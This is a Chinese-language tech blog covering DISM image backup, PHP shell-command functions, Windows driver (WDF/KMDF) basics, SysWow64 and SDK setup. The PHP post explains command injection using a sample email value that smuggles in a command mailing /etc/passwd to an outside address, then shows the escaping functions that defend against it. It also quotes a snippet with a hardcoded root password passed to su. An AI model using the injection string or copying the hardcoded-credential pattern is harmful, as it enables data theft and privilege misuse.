2017/08/23

Dism備份還原相關指令整理 (ScratchDir目錄必須存在,避免錯誤)

先在備份存儲分區下新建文件夾X:\sources和X:\temp (X表示備份位置,文件夾名字自定,英文)

進入winPE後,命令提示符

使用diskpart確定路徑(不同的環境下顯示的盤符可能不同)
diskpart
Diskpart>在這行字符後面直接輸入diskpart命令回車即可執行相應的操作。

幾個基本命令如下(注:// 前面為命令,//後面為命令解釋):
list disk // 列出所有接在電腦上的存儲設備,並為每個存儲設備用數字編號,通常主硬盤編號為0。
select disk N // 選中編號為N的磁盤
list part // 列出選中磁盤上所有的分區
select part N // 選中編號為N的分區
detail part // 顯示選中分區的詳細信息。其中“LTR”即為分區盤符。
exit // 退出Diskpart

這裡再介紹兩條命令(非Diskpart命令):
cd /d xxxxxx // 進入xxxx目錄。如,進入C:,則輸入cd /d C:
dir /a // 顯示當前目錄中的文件結構。

第一次備份:
Dism /Capture-image /Imagefile:X:\sources\install.wim /Scratchdir:X:\temp (/compress:maximum) /Capturedir:C:\ /Name:xxxx /Description:xxxxxx

後期備份:
Dism /Append-Image /Imagefile:X:\sources\install.wim /Scratchdir:X:\temp
(compress:maximum) /Capturedir:C:\ /Name:xxxx /Description:xxxx

/Compress:Maximum 高壓,當然對應用時更多,這一句為可選參數,默認為fast
/Description:xxxxx 可選參數,添加描述方便後期處理使用
(C表示系統安裝所在分區,xxxx中不要出現空格,每個參數以/開始、用空格隔開)

獲取WIM文件映像信息:
例如:查看 G:\sources\install.wim 映像信息
Dism /Get-WimInfo /Wimfile:G:\sources\install.wim

命令解釋:
/Get-WimInfo //顯示有關 WIM 文件中的映像的信息。
/Wimfile //指定 WIM 文件路徑。
    可以在後面添加索引號或名稱來查看某次備份的詳細信息。還可以在後面添加 >d:\list.txt 把信息導出為記事本,方便查看。如:
Dism /Get-WimInfo /Wimfile:G:\sources\install.wim /Index:1 >d:\list.txt
或:Dism /Get-WimInfo /Wimfile:G:\sources\install.wim /Name:Win8Pro-1 >d:\list.txt
    在一個映像中如果有兩個卷映像同名,就不能用指定名稱來查看這兩個卷映像的詳細信息。

具有多個卷映像的 WIM 文件中卷映像的處理:
例如:刪除 G:\sources\install.wim 中的第二次備份:               
Dism /Delete-Image /ImageFile:G:\sources\install.wim /Index:2
命令解釋:
/Delete-Image // 從具有多個卷映像的 WIM 文件刪除指定的捲映像。
    此命令僅刪除卷映像名稱與描述,而不會刪除卷映像數據。可用於防止誤應用該卷映像。刪除指定的捲映像僅刪除了名稱與描述,而不會刪除卷映像數據,所以不會減小 WIM 文件的體積。

用 /Export-Image 命令從具有多個卷映像的 WIM 文件中提取需要保留的單獨卷映像,以減小 WIM 文件的體積。
例如:從 G:\sources\install.wim 中提取第二次備份到 G:\sources 中,保存為 install-02.wim):
Dism /Export-Image /SourceImageFile:G:\sources\install.wim /SourceIndex:2 /DestinationImageFile:G:\sources\install-02.wim
命令解釋:
/Export-Image – 將指定映像的副本導出到其他文件。
/SourceImageFile – 指定映像文件來源路徑。
/SourceIndex – 指定來源索引。
    如果 Win8Pro.wim 中有五個備份,我們只想保留其中第二與第五個備份,同樣可以用 /Export-Image 命令把其中 Index:2 與 Index:5 提取出來,保存為 Win8.wim。命令如下:
Dism /Export-Image /SourceImageFile:G:\sources\install.wim /SourceIndex:2 /DestinationImageFile:G:\sources\install-02.wim
Dism /Export-Image /SourceImageFile:G:\sources\install.wim /SourceIndex:5 /DestinationImageFile:G:\sources\install-02.wim
     install02.wim 中就包涵有兩個卷映像,卷映像的索引號會發生改變,但名稱不會變。

把 Windows 系統(WIM 映像)快速安裝到任何分區:
把 G:\sources\install.wim 中第二次備份還原到 C 分區,指定臨時目錄為 G:\temp
Dism /Apply-Image /ImageFile:G:\sources\install.wim /Index:2 /ScratchDir:G:\temp /ApplyDir:C:\ /Verify
 /Apply-Image //應用一個映像。
/ApplyDir //指定應用目錄。
/Index // 指定索引。此項不能省略。
    因 Dism 安裝 WIM 映像不會像 Ghost 那樣格式化磁盤,所以如果需要可以自己格式化系統盤。
    修改映像路徑與應用目錄可把任意一個系統備份的捲映像還原到任意一個分區。修改卷映像索引號或卷映像名稱可以還原備份映像中的任意一個備份。
    
也可以用此命令把 Windows 系統(WIM 映像)快速安裝到任何分區。
例如在 PE 中把 Win8Pro 安裝到 C 分區(設 Win8ISO 用虛擬光驅加載的盤符為 E):
Dism /Apply-Image /ImageFile:E:\sources\install.wim /Index:1 /Scratchdir:X:\temp /ApplyDir:C:\
    由於 Windows 系統原始(WIM 映像)中沒有啟動引導文件,需要添加啟動引導:
bcdboot C:\windows /s C: /l zh-cn
    如果是把 Windows 8 安裝到 USB 設備中作 Windows To Go,也應添加啟動引導:
bcdboot X:\windows /s X: /l zh-cn /f ALL (X為 USB 設備的盤符)。

附錄:一些可用選項

/Verify – 指定校驗。用於檢查錯誤和文件重複。
/CheckIntegrity – 用於在捕捉、卸載、導出和提交操作中使用 .wim 文件時檢測和跟踪 .wim 文件的損壞情況。
    用於在 DISM 檢測到 .wim 文件在應用和裝載操作中發生損壞時停止操作。
/ScratchDir – 指定暫存目錄的路徑。此目錄必須存在。該目錄必須位於本地。
/Compress – 用於指定對初始捕捉操作使用的壓縮類型。
    maximum 選項能提供最佳壓縮效果,但是捕捉映像所用的時間較長。
    fast 選項能提供更快速的映像壓縮,但生成的文件比使用 maximum 選項壓縮的文件大。這也是在未指定參數時所用的默認壓縮類型。
    none 選項不會壓縮捕捉的映像。
/ConfigFile – 指定映像捕捉和壓縮命令排除列表配置文件的位置。

默認的排除列表——默認情況下,DISM.exe 工具將排除以下文件:

[ExclusionList]
\$ntfs.log
\hiberfil.sys
\pagefile.sys
\swapfile.sys
“\System Volume Information”
\RECYCLER
\Windows\CSC
[CompressionExclusionList]
*.mp3
*.zip
*.cab
\WINDOWS\inf\*.pnf

 

/ScratchDir – 指定暫存目錄的路徑。

創建或處理 Windows 映像時,你應使用帶有 DISM 的 /ScratchDir 選項,在不同的驅動器上創建臨時目錄。臨時目錄適用於許多 DISM 操作,包括捕獲映像、安裝語言包、更新或在 Windows 映像中安裝或刪除 Windows 功能。先將一些文件擴展到此臨時目錄,然後再將它們應用於 Windows 映像。

/ScratchDir
    指定用來解壓縮服務文件的臨時目錄。此目錄必須存在。
    指定在服務期間提取臨時使用的文件時要使用的臨時目錄。該目錄必須位於本地。
    安裝完成後,不再需要此目錄的內容,可以將其刪除。
    如果你不使用 /ScratchDir 選項設置臨時目錄路徑, Windows PE 將默認創建 32-MB 臨時目錄。
    如果未指定臨時目錄,將使用 \Windows\%Temp% 目錄,以及每次運行 DISM 時隨機生成的十六進制值的子目錄名稱。每次操作後,都會刪除暫存目錄中的項。
    作為最佳做法,你應使用 /ScratchDir 選項,轉而在其他有足夠空間支持任何映像管理和你所執行的服務操作的分區上指定目錄

2017/08/17

PHP 執行系統外部命令: system() exec() passthru() 與 反撇號法

PHP作為一種server端的腳本語言,可以編寫簡單與複雜的動態網頁功能,PHP能夠完全勝任。但有時為了實行某些功能,筆續透過外部的shell script或是指令(或稱為命令),可以比較有效率的完成目的。那麼,是否可以在PHP中執行外部指令呢? 答案:可以,且只要用一個或幾個function即可

這幾個function的區別:

system() 輸出並返回最後一行shell結果。
exec() 不輸出結果,返回最後一行shell結果,所有結果可以保存到一個返回的數組裡面。
passthru()只調用命令,把命令的運行結果原樣地直接輸出到標準輸出設備上。

這幾個function的相同點:都可以獲得命令執行的狀態碼

demo:

system('dir');exec ('dir');passthru ('dir');echo `dir`; //這是第(3)種方法

在PHP中調用外部命令,可以用如下三種方法來實現:

(1)用PHP提供的專門函數

PHP提供共了3個專門的執行外部命令的函數:system(),exec(),passthru()。以下說明
system()
原型:string system (string command [, int return_var])
system()函數很其它語言中的差不多,它執行給定的命令,輸出和返回結果。第二個參數是可選的,用來得到命令執行後的狀態碼。
例子:

system("/usr/local/bin/webalizer/webalizer");

exec()
原型:string exec (string command [, string array [, int return_var]])
exec ()函數與system()類似,也執行給定的命令,但不輸出結果,而是返回結果的最後一行。雖然它只返回命令結果的最後一行,但用第二個參數array 可以得到完整的結果,方法是把結果逐行追加到array的結尾處。所以如果array不是空的,在調用之前最好用unset()最它清掉。只有指定了第二 個參數時,才可以用第三個參數,用來取得命令執行的狀態碼。
例子:

exec("/bin/ls -l");exec("/bin/ls -l", $res);exec("/bin/ls -l", $res, $rc);

passthru()
原型:void passthru (string command [, int return_var])
passthru ()只調用命令,不返回任何結果,但把命令的運行結果原樣地直接輸出到標準輸出設備上。所以passthru()函數經常用來調用象pbmplus (Unix下的一個處理圖片的工具,輸出二進制的原始圖片的流)這樣的程序。同樣它也可以得到命令執行的狀態碼。
例子:

header("Content-type: image/gif");passthru("./ppmtogif hunte.ppm");

(2)用popen()函數打開進程

上面的方法只能簡單地執行命令,卻不能與命令交互。但有些時候必須向命令輸入一些東西,如在增加Linux的系統用戶時,要調用su來把當前用戶換到root才行,而su命令必須要在命令行上輸入root的密碼。這種情況下,用上面提到的方法顯然是不行的。
popen()函數打開一個進程管道來執行給定的命令,返回一個文件句柄。既然返回的是一個文件句柄,那麼就可以對它讀和寫了。在PHP3中,對這種句柄只能做單一 的操作模式,要么寫,要么讀;從PHP4開始,可以同時讀和寫了。除非這個句柄是以一種模式(讀或寫)打開的,否則必須調用pclose()函數來關閉 它。
例子1:

$fp=popen("/bin/ls -l", "r");

例子2(本例來自PHP中國聯盟網站http://www.phpx.com/show.php?d=col&i=51):

/* PHP中如何增加一個系統用戶: 下面是一段例程,增加一個名字為james的用戶,root密碼是verygood。僅供參考 */$sucommand = "su --login root --command";$useradd = "useradd ";$rootpasswd = "verygood";$user = "james";$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);$fp = @popen($user_add,"w");@fputs($fp,$rootpasswd);@pclose($fp);

(3)用反撇號(`,也就是鍵盤上ESC鍵下面的那個,和~在同一個上面)

這個方法以前沒有歸入PHP的文檔,是作為一個秘技存在的。方法很簡單,用兩個反撇號把要執行的命令括起來作為一個表達式,這個表達式的值就是命令執行的結果。如:

$res='/bin/ls -l';echo ''.$res.'';

這個腳本的輸出就像:

hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php

要考慮兩個問題:安全性和超時。

先看安全性。比如,你有一家小型的網上商店,所以可以出售的產品列表放在一個文件中。你編寫了一個有表單的HTML文件,讓你的用戶輸入他們的 EMAIL地址,然後把這個產品列表發給他們。假設你沒有使用PHP的mail()函數(或者從未聽說過),你就調用Linux/Unix系統的mail 程序來發送這個文件。程序就像這樣:

system("mail $to < products.txt");echo "我們的產品目錄已經發送到你的信箱:$to";

用這段代碼,一般的用戶不會產生什麼危險,但實際上存在著非常大的安全漏洞。如果有個惡意的用戶輸入了這樣一個EMAIL地址:

'--bla ; mail someone@domain.com < /etc/passwd ;'

那麼這條命令最終變成:

'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'

我相信,無論哪個網絡管理人員見到這樣的命令,都會嚇出一身冷汗來。
幸好,PHP為我們提供了兩個函數:EscapeShellCmd()和EscapeShellArg()。

函數EscapeShellCmd把一個字符串中所有可能瞞過Shell而去執行另外一個命令的字符轉義。這些字符在Shell中是有特殊含義的,象分號(),重定向(>)和從文件讀入 (<)等。函數EscapeShellArg是用來處理命令的參數的。它在給定的字符串兩邊加上單引號,並把字符串中的單引號轉義,這樣這個字符串 就可以安全地作為命令的參數。

再來看看超時問題。如果要執行的命令要花費很長的時間,那麼應該把這個命令放到系統的後台去運行。但在默認情況下,象system()等函數要等到 這個命令運行完才返回(實際上是要等命令的輸出結果),這肯定會引起PHP腳本的超時。解決的辦法是把命令的輸出重定向到另外一個文件或流中,如:

system("/usr/local/bin/order_proc > /tmp/null &"); 

2017/08/10

Windows Driver 開發學習筆記

延伸閱讀: 本站另一文 Video and Graphic windows driver 驅動程式開發筆記

眾所周知, 早期的Windows 95/98的設備驅動是VxD(Virtual Device Driver),其中x表示某一類設備。從Windows 2000開始,開發驅動程序必以WDM(Windows Driver Model)為基礎的,但是,如果使用DDK來開發WDM,其開發難度之大,根本不能奢望像用戶模式應用程序開發那樣容易,因此,一般用戶都是使用WinDriver、DriverStudio之類的第三方工具。

為改善這種局面,從Vista開始,微軟推出了新的驅動程序開發環境WDF(Windows Driver Foundation )。 WDF和WDM的關係有點類似於MFC和Windows SDK的關係,有編程經驗的人一看就知道為何WDF開發比WDM容易了。

微軟有寫了基本概要, 先看看原廠介紹吧! 然後根據每個小課程的練習與實作, 應該就會慢慢進步了解!
連結:Windows programming guide for driver technologies

先安裝環境吧!

設置編譯環境 – 開發環境安裝Visual Studio, Windows SDK, 以及Windows driver kit(WDK)

寫出你的第一個驅動程式吧!

Write your first driver

WDF 有KMDF和UMDF兩種模式:

  • 內核模式驅動程序 KMDF(Kernel-Mode Driver Framework):這類驅動程序作為內核模式操作系統組件的一部分執行,它們管理I/O、即插即用、內存、進程和線程、安全等。內核模式驅動程序通常為分層結構。關於KMDF更多的內容,可參閱 MSDN中“Getting Started with Kernel-Mode Driver Framework ”。
  • 用戶模式驅動程序 UMDF(User-Mode Driver Framework):這類驅動程序通常提供 Win32 應用程序與內核模式驅動程序或其他操作系統組件之間的接口。用戶模式驅動程序支持基於協議或基於串行總線(如攝像機和便攜音樂播放器)的設備。關於UMDF更多的內容,可參閱 MSDN中“ Introduction to UMDF“。
  • 無論內核模式的驅動程序或者用戶模式的驅動程序,都使用同一環境進行構建,這一環境稱為WDK;都採用同一套對像模型構建,採用同一個基礎承載,這個基礎就是WDF。由於WDF驅動模型提供了面向對象和事件驅動的驅動程序開發框架,大大降低了開發難度。從現在開始,掌握Windows設備驅動程序的開發人員,由過去的“專業”人士,將變為“普通”大眾。因此,像WinDriver、DriverStudio之類的第三方工具也隨之退出歷史舞台。
  • KMDF是Windows系統底層驅動,文件名為:*.SYS,Vista為2萬多外設提供了KMDF,其中也包括USB2.0,因此對於具有USB2.0協議的FX2,只需編寫與FX2相關的UMDF即可;
    UMDF是用戶層驅動,文件名為:*.DLL

程式進入點 DriverEntry

(轉自steward-fu)
Windows Driver Framework(WDF)是新型的驅動程式架構並且分成Kernel Mode Driver Framework(KMDF)和User Mode Driver Framework(UMDF)兩種架構,UMDF是跑在User Mode的Driver;而KMDF則是跑在Kernel Mode,所以KMDF的行為以及寫法會跟WDM很相似,畢竟KMDF是一個重新包裝WDM架構的驅動程式,所以很多WDM的東西還是可以共用的,但是KMDF的誕生畢竟是為了簡化WDM的複雜性,如果要寫KMDF驅動程式就遵照KMDF建議的方式製作,之後維護程式的人也比較清楚關係,畢竟很多人還是從KMDF開始學習驅動程式,並非是從WDM開始學習。

KMDF的驅動程式又分成PnP(Plug and Play)和Non-PnP兩種類型,PnP類型的驅動程式主要負責的職務是跟支援隨插即用的裝置溝通,其類型大致上有:USB、1394、PCI等隨插即用裝置,而相較於PnP類型的驅動程式,Non-PnP類型的驅動程式並不支援隨插即用的IRP(I/O Request Packet),系統當然也不會發送隨插即用的IRP到Non-PnP驅動程式,因為Non-PnP主要支援非隨插即用裝置,因此相關的隨插即用資源是無法存取的,但是還是可以存取Legacy硬體I/O,而KMDF的PnP跟Non-PnP驅動程式,其實就是WDM和Legacy類型的驅動程式。

不管是KMDF(PnP、Non-PnP)、WDM或Legacy驅動程式,它們的程式進入點一律是DriverEntry(),而且格式是一樣的,定義如下:

NTSTATUS DriverEntry(PDRIVER_OBJECT, PUNICODE_STRING);

系統載入驅動程式時會呼叫DriverEntry()並帶入兩個參數,第一個PDRIVER_OBJECT是Driver Object指標,該指標會包含驅動程式物件的所有資訊,當然有些欄位是不允許使用者更改的,而另一個參數PUNICODE_STRING則是Registry Path,每個驅動程式在安裝時,都會產生一個註冊表項目,該項目就是當Windows啟動時要載入用的,所以註冊表亂更改時,驅動程式可能就不會被正確載入。

需要注意的是,就算有相同的裝置載入同一份驅動程式,則Driver Object也僅會只有一份,那這一些相同裝置的驅動程式資料不就會亂掉嗎?答案是:不會的,因為會有多份Device Oject,每個Device Object各代表不同的裝置。那DriverEntry()需要做哪一些事情呢?做法跟WDM是很類似的,都需要註冊Callback副程式,差别只是呼叫API不一樣,因為KMDF使用了事件、屬性、訊息當作處理的核心機制,其實有點像Windows的視窗程式寫法。範例:

NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath){ WDF_DRIVER_CONFIG config; NTSTATUS status;  WDF_DRIVER_CONFIG_INIT(&config, AddDevice); status = WdfDriverCreate(pDrvObj, pRegPath, WDF_NO_OBJECT_ATTRIBUTES, &config, WDF_NO_HANDLE); if(!NT_SUCCESS(status)){  DbgPrint("WdfDriverCreate failed 0x%x\n", status);  return status; } return STATUS_SUCCESS;}

上面的程式只註冊AddDevice Callback副程式,其餘Callback交給預設的KMDF副程式處理,很簡短吧!該程式是透過WDF_DRIVER_CONFIG_INIT()做Callback初始化,該副程式看起來很簡單,但是怕該副程式隱藏很多細節,所以司徒將它的內容貼出來看一下

VOID FORCEINLINE WDF_DRIVER_CONFIG_INIT(OUT PWDF_DRIVER_CONFIG Config, IN PFN_WDF_DRIVER_DEVICE_ADD EvtDriverDeviceAdd){ RtlZeroMemory(Config, sizeof(WDF_DRIVER_CONFIG)); Config->Size = sizeof(WDF_DRIVER_CONFIG); Config->EvtDriverDeviceAdd = EvtDriverDeviceAdd;}

WDF_DRIVER_CONFIG_INIT()看來只有做記憶體初始化跟Config結構的初始化,算是很簡單的初始化而已。
初始化完Config結構後,程式接著使用WdfDriverCreate()產生Framework Driver Object,這個地方就跟WDM不一樣,WDM不需要產生Driver Object,而KMDF因為核心是採用WDM的架構,所以需要建立另一組資料給KMDF使用,另外要注意的是DriverEntry()回傳值的部分,因為回傳值會決定載入驅動程式的成功或失敗。KMDF相較於WDM的架構,真是越來越簡潔,但是,沒有WDM基礎的使用者,司徒覺得對於除錯以及詳細原理會越來越難搞清楚,畢竟包裝太多WDM的東西,看似簡單,卻是隱藏很多細節,對於初學者或經驗不足的使用者,細節完全不懂時,很難Debug比較難的問題。

AddDevice

當系統找到符合的裝置(透過INF檔案安裝)且驅動程式被系統載入後,AddDevice()就會被系統呼叫,而AddDevice()是在DriverEntry()裡面註冊的,所以系統才會知道AddDevice()位於何處,名稱不一定要用AddDevice,但是參數跟回傳值必須遵照Microsoft的定義,否則會有問題。
AddDevice()副程式定義如下:

NTSTATUS AddDevice(PDRIVER_OBJECT, PDEVICE_OBJECT);

傳入的PDRIVER_OBJECT是該驅動程式的Driver Object,而PDEVICE_OBJECT則是位於下層的驅動程式Device Object,WDM驅動程式的架構是使用堆疊方式做驅動程式的添加、刪除,例如:如果使用者寫的是USB驅動程式,則下層可能就是USB Bus驅動程式,如果使用者寫的驅動程式只是一個虛擬的純軟體驅動程式,那麼下層驅動程式就是I/O Manager,由於使用堆疊的架構,所以WDM驅動程式又可以加入Upper Filter、Lower Filter Driver,Filter Driver的目的是提供I/O Request Packet(IRP)修改的功能,達到不需更改原始的驅動程式就可以做錯誤修正。

那在AddDevice()需要做什麼事情呢?一般會產生一個新的Device Object並為該Device Object建造一條Symbolic Link,該Symbolic Link就是提供給User Mode的應用程式開啟(僅能使用CreateFile() API開啟),還記得呼叫CreateFile()時會提供一個名字嗎?若記得的話,此名字就是驅動程式的Symbolic Link名稱。那問題又來了,有沒有可能裝置會使用同一個Symbolic Link名字呢?答案是,肯定會發生的,所以Microsoft建議大家使用GUID的方式註冊,而系統將會自動產生一個唯一的名稱給該註冊的裝置,如果是這樣的話,那User Mode的應用程式如何開啟驅動程式呢?這時候就必須使用Setup API做GUID列舉並取得Symbolic Link名稱,哪一種方式比較好呢?如果是使用Symbolic Link註冊名稱,User Mode應用程式比較好寫,因為名稱已經知道了,反之,使用GUID註冊的話,User Mode應用程式需要列舉判斷後才能開啟,所以會比較不好寫,但是優點則是名稱不會衝突。
範例

PDEVICE_OBJECT gNextDevice=NULL; NTSTATUS AddDevice(PDRIVER_OBJECT pOurDriver, PDEVICE_OBJECT pPhyDevice){  PDEVICE_OBJECT pOurDevice;  UNICODE_STRING usDeviceName;  UNICODE_STRING usSymboName;   // step 1. create new device and symbolic link  RtlInitUnicodeString(&usDeviceName, L"\\Device\\firstWDM");  RtlInitUnicodeString(&usSymboName, L"\\DosDevices\\firstWDM");  IoCreateDevice(pDrvObj, 0, &usDeviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, &pOurDevice);  IoCreateSymbolicLink(&usSymboName, &usDeviceName);   // step 2. attach to driver stack and save the next object for later use  gNextDevice = IoAttachDeviceToDeviceStack(pOurDevice, pPhyDevice);   // step 3. initialize device object flags  pOurDevice->Flags&= ~DO_DEVICE_INITIALIZING;  pOurDevice->Flags|= DO_BUFFERED_IO;  return STATUS_SUCCESS;}
  • Step 1 產生一個Device Object(可自己決定名稱),然後建立一條Symbolic Link(可自己決定名稱),Device Object名稱一般是放在Windows特殊資料夾中的Device資料夾,使用者可以使用WinObj程式去查看有哪些Device Object,而Symbolic Link的名稱則是放在DosDevices資料夾(GLOBAL??),那應用程式該如何把完整路徑名稱給CreateFile()呢?答案是加上\.\\關鍵字,有印象開啟COM Port時需要使用這樣CreateFile(“\\.\\\\COM1”, …);的方式嗎?這就是代表完整路徑的意思,在寫COM Port程式時,不一定說是要大於COM9才能加\.\\路徑,其實從COM1就可以開始使用。
  • Step 2 把剛剛產生完的Device Object附加到下層Device Object的堆疊,這樣才可以開始處理I/O Request Packet(IRP)。
  • Step 3 初始化相關旗標,讓PnP Manager知道Device Object已經初始化完畢,比較需要注意的是DO_BUFFERED_IO旗標,因為在做裝置讀寫時,User Mode應用程式跟驅動程式是否共用同一塊Buffer是取決於該旗標,如果使用者設定成DO_BUFFERED_IO,則代表驅動程式有自己獨立一塊Buffer,驅動程式讀取完硬體資料後,會複製到它自己的Buffer,然後再複製到User Mode應用程式的Buffer,所以速度會比較慢一些,如果要共用同一塊Buffer的話,則把旗標設定成DO_DIRECT_IO即可。

DriverUnload

當驅動程式準備被系統卸載時,DriverUnload()會被系統呼叫,這是驅動程式最後可以釋放資源的地方,若沒有適當的釋放資源,則驅動程式無法被卸載,遇到這種狀況時,系統會提示需要重新開機才可以正確卸載驅動程式。DriverUnload()副程式定義如下:

void DriverUnload(PDRIVER_OBJECT);

因為WDM驅動程式會收到PnP Remove Device的IRP,所以當系統要卸載驅動程式時,系統會呼叫PnP Callback副程式並帶入IRP_MN_REMOVE_DEVICE(IRP_MJ_PNP),WDM驅動程式一般會在那個地方釋放資源;

若是Legacy驅動程式,因為裝置物件是在DriverEntry()產生,加上又沒有IRP_MN_REMOVE_DEVICE IRP,所以必須在DriverUnload()釋放資源。範例:

void DriverUnload(PDRIVER_OBJECT pOurDriver){}

WDM驅動程式的DriverUnload()一般不做任何事情,因為釋放資源的地方已經改到IRP_MN_REMOVE_DEVICE的地方,原因在於WDM驅動程式的資源配置是在AddDevice()配置,所以釋放資源的地方就變成是收到IRP_MN_REMOVE_DEVICE時才移除之前配置的資源。

手動安裝 *.inf, *.sys 與.dll 檔案

KMDF是Windows系統底層驅動,文件名為:*.SYS
安裝一般驅動程式有 *.inf 及 *.sys 檔案,步驟如下:
1. 將驅動程式的INF 檔copy到System32 Inf 底下(如 C:\Windows\inf\ ,注意:這個目錄可能是隱藏的!), 將SYS檔copy 到driver 底下(如 C:\windows\system32\driver\),
2. 啟動Device Manager 或重開機就會自動安裝

UMDF是用戶層驅動,文件名為:*.DLL
安裝 DLL 元件,步驟如下:
將 DLL 組件先複製到 C:\Windows\System32 目錄下
然後進入命令提示字元執行 regsvr32 xxxxxx.dll 指令

系統檔案什麼是SysWow64? 什麼是system32 目錄?

老麟October 26, 2011
64位的Windows並不是簡單地把所有東西都編譯成64位就萬事大吉的。關於64位的CPU應該做成什麼樣子,Intel和AMD曾有各自的打算。 AMD的回答直接了當:新的64位處理器,應該能在提高更高處理能力的同時,保持對32位應用程序的兼容性。而Intel則希望藉此機會,把下一代的處理器,設計得更完美。於是,就有了AMD的x86-64(後被稱為amd64)的處理器和Intel的IA-64(安騰)處理器。和amd64不一樣的是,安騰處理器並沒有很好地提供對32位應用程序的支持。具體信息,讀者在網上應該很容易找到,也就不多說了。

Windows作為一個操作系統,自然希望用戶在運行64位操作系統時,也能像以前一樣,運行各種32位應用程序。這一點,在amd64處理器上,相對容易做到。而安騰,幾乎是另外一回事。 (後來Intel也生產了兼容amd64的處理器,但那是後話。)雖然我說“相對”容易做到,但也不是空手套白狼。當操作系統運行在64位時,怎麼才能保證已經存在的32位應用程序以為自己仍然運行在32位系統上呢?微軟的解決方案是:Wow64,全稱是32bit Windows On 64bit Windows(64位Windows上的32位Windows)。

你也可以這樣理解,雖然整個系統是運行在64位模式,但如果一個應該程序是32位的,Windows會在64位的基礎上,加載一個“32位的Windows”。這樣,這個32位應用程序就以為自己是運行在32位的系統之上的。於是,你也可以想像,這就意味著,64位的Windows,不但帶有64位操作系統應有的系統文件,還帶有32位系統應有的系統文件。

我們都知道的是,Windows系統的主要係統文件都是放在一個叫做System32的文件夾中的。為了能同時放下兩套系統文件,Windows會在64位的系統上,增加了一個文件夾,叫SysWow64。這便有了一個問題,System32和SysWow64裡面,哪個放的是64位的系統文件,哪個放的是32位的系統文件呢?如果你還記得Wow64指的是64位Windows上的32位Windows,那麼,你就能會想到,SysWow64裡放的是32位的系統文件。但你也可能會問,為什麼一個明明叫System32的文件夾裝的是64位的系統文件,而一個明明叫SysWow64的文件夾裝的卻是32位的系統文件呢?既然是64位的系統,為什麼不能有System64和System32這樣的文件夾呢? 這個問題問得很好。答案也很簡單:人在江湖,身不由己。

兼容性
如果我問你,可曾有多少機會接觸過安騰處理器呢?我想,對於一般人來講,應該是沒有的。那為什麼amd64會大行其道,而安騰處理器卻鮮為人知呢?還是因為一個軟硬件設計上的關鍵概念:兼容性。正是因為安騰處理器,沒有做好對已有的32位系統提供良好的支持,便其一直處於市場的邊緣。這和你不會買一台看不了模擬信號頻道的高清電視是一個道理。

之前我們談到的兼容性,是指在64位Windows上,兼容已經有的32位應用程序。現在考慮另一種兼容性。如果你寫了一個很牛的32位的應用程序,現在,你想把它變成64位的應用程序,以更充分地利用64位處理器所帶來的新的處理能力。你肯定覺得,這不就是讓64位編譯器編譯一遍就完了的事兒麼?可能你發現,這並不是骨感的現實。你突然發現,你的程序裡,為了某些你已經想不起來的原因,把System32這個文件夾,寫死在了你的程序裡。而這個System32中的32,讓你很不安。你嘗試著運行了你的程序,卻發現一切正常。為什麼呢?因為這是Windows系統的另一個兼容性方面的努力:讓一個已有的32位應用程序,不加修改或者盡可能少地加以修改,便可以被編譯成64位應用程序並在64位Windows上運行。

其實,把System32這樣的路徑,寫死在程序裡,並不是一個個案。所以,為了保證這些應用程序可以順利地過渡到64位,Windows最後還是決定讓64位的系統文件放在System32的文件夾下。而讓32位的系統文件,搬到了SysWow64中去。你肯定會想,那讓32位搬到SysWow64中去以後,那些寫死在32位應用程序中的System32怎麼辦?答:Windows會給他們轉向到SysWow64中去。那讓64位中的System32轉向到System64不也是一樣麼?真的一樣麼?不一樣麼?真的一樣麼?不一樣麼?真的不一樣。

作為64位Windows操作系統,當然是希望能充分發揮64位處理器的潛力,讓應用程序更有效率地運行。如果在運行64位應用程序時,總要檢查是否需要轉向,勢必影響程序運行效率。所以,不能給64位應用程序做沒有必要的轉向,如果說必須要轉,那就只能轉32位應用程序了。是的,沒有辦法,在64位操作系統中,32位應用程序要做一些小的犧牲。此外,為了保證32位應用程序不與64位應用程序相衝突,除了System32文件夾外,註冊表也需要為32位和64位提供兩套,也需要讓32位的應用程序在必要時重定向。

結論
所以SysWow64文件夾,是64位Windows,用來存放32位Windows系統文件的地方。

後記
兼容性是一個重要的事情。當然,也是一個很有意思的事情。如果你在Windows 7中運行”winver”,你就會發現,Windows 7原來是Windows 6.1。為什麼呢?事情是這樣的,Windows XP是Windows 5.2,Windows Vista開始變成了6.0,結果,很多應用程序只是檢查操作系統版本號的頭一位,發現不是5,於是就提示用戶說:“我們不支持Windows XP以前的系統”。這也是從Windows Vista的不成功中,學習到的一課。也許,以後永遠都沒有Windows 7.0也未可知啊。

如今的市場上已經找不到只支持32位指令集的X86處理器了,除了極個別老舊PC。當年64位X86處理器爭奪戰中Intel被AMD打個措手不及,後者聯合微軟搶先推出了X86_64指令集,Intel最終也接納了AMD的64位指令集。不過在伺服器市場上,Intel當時跟HP合作推出了安騰(Itanium)處理器,使用的是IA-64指令集體系,不過16年來安騰處理器越來越不受歡迎,Intel日前推出了代號Kittson的安騰9700系列處理器,這是最新但也是最後一代安騰處理器了,後續不再更新了。

工具書書本列表:

2017/08/08

設置編譯環境 - 開發環境安裝Visual Studio, Windows SDK, 以及Windows driver kit(WDK)

想記錄一下, 架設Windows編譯環境, 還有釐清一下容易搞混的Windows SDK與Windows driver kit,

建議的安裝次序是:

  1. 先安裝 Visual Studio 2010/2013/2015/..etc
    • 是微軟公司的開發工具套件系列產品。VS是一個基本完整的開發工具集,它包括了整個軟體生命周期中所需要的大部分工具,如UML工具、代碼管控工具、整合式開發環境(IDE)等等。所寫的目的碼適用於微軟支援的所有平台
    • 適用於 Windows 10 的下載項目與工具
  2. 再安裝 Windows SDK (注意SDK與WDK版本號要一致)
    • Windows SDK是由微軟公司出品的一個軟體開發包,向在微軟的Windows作業系統和.NET框架上開發軟體和網站的程式設計師提供頭文件、庫文件、示例代碼、開發文檔和開發工具! 微軟每次發布一個主要版本的Windows,都會發布對應的開發工具以使得開發人員能夠調用新的作業系統的應用程式開發接口(API)。在Windows 98之後,這個開發工具包被命名為為Platform SDK。在Windows Vista的SDK推出時,這個產品改名為Windows SDK
    • 微軟的Windows SDK 和模擬器封存
  3. 安裝WDK – Windows driver kit (注意SDK與WDK版本號要一致)
